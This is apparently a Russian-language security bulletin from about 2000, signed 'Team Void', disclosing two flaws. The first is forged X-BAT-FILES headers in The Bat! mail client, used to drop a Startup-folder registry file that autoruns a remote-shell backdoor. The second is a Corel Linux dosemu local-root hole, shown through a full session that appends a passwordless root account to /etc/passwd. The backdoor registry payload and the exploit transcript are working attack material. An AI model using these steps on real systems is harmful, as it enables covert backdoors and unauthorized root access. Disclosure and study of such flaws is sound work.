|
BACKDOORING VIA THEBAT!, LOCAL ROOT в COREL LINUX
УЯЗВИМОСТЬ В ПОПУЛЯРНОЙ ПОЧТОВОЙ ПРОГРАММЕ THE BAT!
Данный почтовый клиент, работающий на платформах win32,
быстро завоевал популярность среди широкого круга пользователей
простотой интерфейса, нетребовательностью к системным ресурсам и доступностью.
Несмотря на это, следует упомянуть об недавно обнаруженной уязвимосте в программе,
связанной с тем, как данный мейлер работает с аттачментами. При получении письма
с аттачментом оно сохраняется в папке %The bat! folder%\MAIL\<account name>\attach.
Путь к данному файлу сожержится в разделе X-BAT-MESSAGES заголовков пиьма, к примеру :
C:\PROGRAM FILES\THE BAT!\MAIL\user@host\Attach\17.MSG.
При форвардинге данного сообщения другому получателю, мейлер не
трогает заголовки, позволяя получателю просмотреть расположение
данных файлов в файловой системе отправителя. Так же возможно
заменить в заголовках письма данную секцию на любую свою.
Понятно, что следующая конструкция в теле письма:
X-BAT-FILES: C:\windows\Главное меню\Автозагрузка\infect.reg
X-BAT-FILES: C:\windows\system\win32remoteshell.exe, где infect.reg
имеет следующую структуру:
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microshaft\Windows\CurrentVersion\RunServices]
"My Backdoor"="C:\\Windows\\System\\win32remoteshell.exe"
, а win32remoteshell.exe - к примеру, портшелл ,
приведёт к тому, что после перезагрузки объекта на нём запустится
ваш бэкдор. ПОЛЬЗОВАТЕЛИ THEBAT!, БУДЬТЕ БДИТЕЛЬНЫ!
COREL LINUX LOCAL ROOT (об уязвимости рапортовал suid@suid.kg.
Корпорация Corel, получившая популярность после выпуска качественного программного обеспечения для полиграфического дизайна, решила попробовать свои силы на поприще разработки UNIX-клонов. Обидно, что те грабли, на который COREL наступил в этот раз, были открыты очень давно. Проблема заключается в MSDOS-эмуляторе, входящем в комплект поставки. Команда system.com доступна любому пользователю, что есть грубое нарушение правил игры по следующим причинам:
Исполнение команды system.com приводит к тому, что эмулятор msdos dosemu производит вызов функции из стандартной библиотеки libc 'system()'. Так как DOS - однопользовательская система, то разграничение прав выключено, и запущеный процесс наследует права родителя - (uid=root, euid=user). После этого процесс, естественно, может использовать setreuid, чтобы получить рутовские права.
Демонстрационный эксплоит прилагается:
Script started on Fri Feb 25 13:54:00 2000
nebula:~$ id
uid=1000(suid) gid=1000(suid) groups=1000(suid)
nebula:~$ cat > hack-corel
#!/bin/bash
echo "owned::0:0::/:/bin/bash" >> /etc/passwd
^D
nebula:~$ chmod a+rx hack-corel
nebula:~$ export PATH="$PATH:."
nebula:~$ dos
CPU speed set to 430/1 MHz
Running on CPU=586, FPU=1, rdtsc=1
[ snip bunch of dosemu crap ]
"Welcome to dosemu 0.98!
C:\> system hack-corel;
sh: : command not found
C:\> exitERROR: general protection at 0x3f0ff: 0
ERROR: SIGSEGV, protected insn...exiting!
nebula:~$ tail -1 /etc/passwd
owned::0:0::/:/bin/bash
nebula:~$ su owned
nebula:/home/suid# id
uid=0(root) gid=0(root) groups=0(root)
nebula:/home/suid# exit
exit
nebula:~$ exit
Script done on Fri Feb 25 13:55:27 2000
duke
Team Void
|